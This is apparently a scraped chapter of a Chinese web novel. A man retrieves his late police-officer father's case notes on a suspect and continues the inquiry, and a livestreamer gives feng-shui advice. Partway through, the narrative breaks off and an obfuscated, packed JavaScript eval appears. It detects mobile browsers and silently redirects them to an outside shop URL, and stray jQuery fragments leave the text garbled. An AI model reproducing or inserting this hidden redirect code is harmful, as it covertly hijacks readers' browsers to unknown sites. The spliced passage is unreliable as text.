薄今郁走出巷子,在路边站了一会儿。然后他上了一辆公交车,往老城区开。车上没什么人,他坐在最后一排,靠着窗户。
车经过的地方他从车窗看出去,街道、楼房、行道树,一帧一帧地往后退。早起的人已经开始了一天的生活,环卫工人在扫马路,早餐店的老板在搬蒸笼,送牛奶的骑着三轮车经过,车上的瓶子叮叮当当地响。
公交车晃了将近一个小时。他在一个老站下了车,往前走了一段,拐进一条巷子。这条巷子比工作室那条宽一些,两边的楼也高一些,但更旧。外墙的涂料脱落了大半,露出里面的红砖。一楼的防盗网生了一层锈,上面挂着拖把和晾衣绳。
他走到一栋楼前,没有电梯,楼道口堆着几辆旧自行车,车座上落了一层灰。他爬上去,楼梯很窄,每一层的灯都是坏的,只有从窗户透进来的光照亮脚下的台阶。墙上有人用粉笔写了字,歪歪扭扭的,看不清写的是什么。
六楼,最里面那扇门。
他敲了三下,声音在楼道里回荡,闷闷的像是被墙吸进去了。
开门的是一个五十多岁的女人,头发花白,扎着一条马尾,穿着一件灰色的旧毛衣。她看到薄今郁,愣了一下,然后侧身让他进来说道:“你怎么来了?”
“妈。”薄今郁叫了一声,声音很轻说道:“我查一个人,需要爸以前的资料。”
女人点了点头,关上门。
屋里不大,两室一厅,家具都很旧,但收拾得很干净。沙发上的垫子摆得整整齐齐,茶几上放着一杯凉了的茶。电视柜上摆着一个相框,里面是一张黑白照片,一个穿警服的男人,浓眉大眼,笑得很正气。照片旁边的花瓶里插着几枝干花,花瓣已经褪色了,但还是好好地立在那里。
薄今郁在照片前站了一会儿。
那是他父亲。十年前因公殉职,他记得那天放学回家,看到母亲坐在沙发上,手里拿着电话,没有说话,也没有哭。他问她怎么了,她说你爸走了。他当时不太懂走了是什么意思,以为出差了。后来才明白。
“你要查什么人?”母亲从卧室里走出来,手里拿着一个铁盒子。盒子是红色的,上面印着牡丹花的图案,漆掉了一半,露出下面的铁皮。
“一个叫裴东来的人。三年前因为非法信息买卖判过刑。出来之后在做一些别的事。”
母亲看了他一眼,没有问为什么。她把铁盒子递给他,手指在盒盖上停了一下。
“你爸留下来的。他以前经手的案子,有些资料他复印了一份带回家。”母亲的声音很平静,但眼眶有点红说道:“他说这些东西留着,也许有一天能用上。”
薄今郁接过盒子,打开。
里面是一沓泛黄的纸,有些是案件记录,有些是嫌疑人名单,还有一些是手写的笔记。纸的边缘有些卷了,有些地方被折过,折痕很深。
他翻了十几页,手指停在一张纸上。
那张纸的标题是:“2008年非法信息买卖案——涉案人员名单。”
名单上有十几个名字,用钢笔写的,字迹工整。第五个是裴东来,后面标注着主犯之一,在逃。旁边还有一行小字,用铅笔写的,字迹更潦草,像是一个人一边想一边写的。“此人反侦察能力极强,建议重点布控。可能与更上层有联系。”
薄今郁盯着那行字看了很久。
“妈,我爸当年查过裴东来?”
“查过。”母亲在他旁边坐下来,双手放在膝盖上说道:“你爸说这个人不简单,背后可能有人。但案子还没查完,他就……”她没有说下去。
薄今郁把那张纸折好,放进口袋里。他把铁盒子还给母亲,站起来。
“你小心点。”母亲在身后说。
“我知道。”
他走到门口,拉开门。走廊里的光照进来,在门槛上画了一道亮线。他回头看了一眼,母亲还坐在沙发上,手里捧着那个铁盒子,低着头,不知道在想什么。
他关上门,下楼。
他掏出手机,那个没有备注的号码发来了一条消息。
“查到了。裴东来,四十七岁,A市人。三年前因非法信息买卖被判刑两年,提前出狱。出狱后行踪不明,最近半年在A市活动。”
薄今郁盯着屏幕看了几秒,然后打字:“他的背景呢?”
对方回复得很快。“查不到。他的信息被保护了,级别不低。你确定要继续?”
薄今郁打了两个字:“继续。”
他把手机收起来,在路边站了一会儿。然后他拦了一辆出租车,报了工作室的地址。
到工作室的时候,司理已经在了。她坐在外间的桌前,面前摊着笔记本,正在整理今天的直播内容。听到门响,她抬起头,看了他一眼。
“你昨晚没睡?”她问。
薄今郁在她对面坐下来。他的眼睛下面有一圈青黑,头发有点乱,衣服上还沾着公交车上的味道。他从口袋里掏出那张泛黄的纸,展开,放在桌上。
“我爸十年前查过裴东来。”他说:“那时候裴东来就在做信息买卖。我爸说他背后有人,但案子没查完,他就走了。”
司理拿起那张纸,看了一遍。她看得很仔细,然后她把纸放回桌上,看着薄今郁说道:“你父亲是警察?”
“嗯。十年前因公殉职。”薄今郁的声音很平静,但心还是狠狠疼了一下。
“你父亲查的方向是对的。裴东来背后确实有人。十年前是,现在也是。”
薄今郁把纸折好,放回口袋说道:“所以?”
“所以我们继续查。”司理说:“查到把他背后的人一起挖出来。”
薄今郁看着她,忽然笑了一下。不是那种嬉皮笑脸的笑,是那种终于松了一口气的笑。
“怎么了?”司理问。
“没什么。”他站起来说道:“我去买奶茶。你喝什么?”
“杨枝甘露,三分糖。”
“知道。”
薄今郁走出工作室。巷子里的阳光比早上更亮了,照在石板路上,反着光。墙根下有一丛草,绿得发亮。他站在门口,抬头看了看天,阳光很刺眼,但他没有眯眼睛。
他掏出手机,给那个没有备注的号码发了一条消息:“继续查。查他背后的人。多少钱都行。”
对方回复得很快:“你认真的?”
“认真的。”
“好。但我要提醒你,查到这个层面,可能会有人找上门。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17618552|204768||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
薄今郁看着这条消息,沉默了几秒。巷子里有人经过,是一个老太太,拎着一袋子菜,走得慢悠悠的。她看了他一眼,大概是觉得他面生,多看了两眼,然后走了。
他打字回复道:“我知道。让他们来。”下午,司理在工作室直播。
今天的在线人数比平时多了一倍。自从陈老头的事上了热搜之后,直播间里来了很多新面孔,弹幕刷得比平时快得多,有些问题她已经懒得看了。有人在问陈小朵找到了没有,有人在问阳光福利院的事是不是真的,还有人在刷大师你管管那些拐孩子的人。
她没有回应这些问题。阳光福利院的事还没查清楚,在网上说什么都没用。她只是把弹幕划过去,点开了连麦。
第一个连麦是一个年轻女孩,问姻缘。司理看了她的掌纹,又问了生辰八字,说年底会认识一个人,不要太急。女孩连连道谢,挂了。
第二个连麦是一个大叔,问财运。司理说下半年有两个机会,但只能选一个,两个都想要就会两个都得不到。大叔想了想,说知道了。
第三个连麦是一个年轻人,说自己最近老是觉得身体不对劲,怀疑被人下了降头。司理让他把手掌对准摄像头看了一眼,说不是下降头,是熬夜太多产生的幻觉。年轻人愣了一下,说确实连续加班了一个月。司理让他回去睡觉,年轻人说好。
直播快结束的时候,一个连麦让司理多说了几句。
对方是一个中年男人,皮肤黑,穿着旧夹克,背景是一面白墙,看起来像是在老家。他说自己在村里盖了新房子,三层小楼,花了不少钱。但搬进去之后,全家人都开始生病。去医院查了,什么都查不出来。
“大师,是不是风水有问题?”他问。
司理让他把房子的布局说了一遍。男人说得挺详细——大门朝南,客厅在东边,厨房在西边,卧室在二楼。她又问了朝向和周围的环境。
“你房子后面是不是有个水塘?”
中年男人愣了一下说道:“有。盖房子的时候填了一半,还剩一半。你怎么知道的?”
“填的那一半,是不是用的建筑垃圾?”
“是。就是拆老房子的砖头瓦片,还有一些碎水泥块。想着反正也要处理,就填进去了。”
司理点了点头说道:“水塘不能随便填。你把一半填了,水就堵住了,没办法流通,变成死水。死水聚阴,阴气往房子里灌。你全家生病,就是这个原因。”
中年男人的声音紧张起来说道:“那怎么办?把填的那些挖出来?”
“不用全挖。”司理说:“两个办法。第一,把剩下的一半也填了,填的时候用干净的土,不要用建筑垃圾。填完之后把地面夯实,种上草或者树。”“第二,把填的那一半挖开,让水流通。两个办法选一个。”
中年男人想了想说道:“填了的那一半,挖开太费劲了。我直接把剩下的一半也填了,行不行?”
“行。但要用干净的土,不能再用垃圾。”
“好。谢谢大师,谢谢大师。”男人挂了连麦。
弹幕又刷了一阵,有人问死水真的会聚阴吗,有人说老一辈确实有这个说法,还有人@了环保部门,说乱填水塘是不是违法。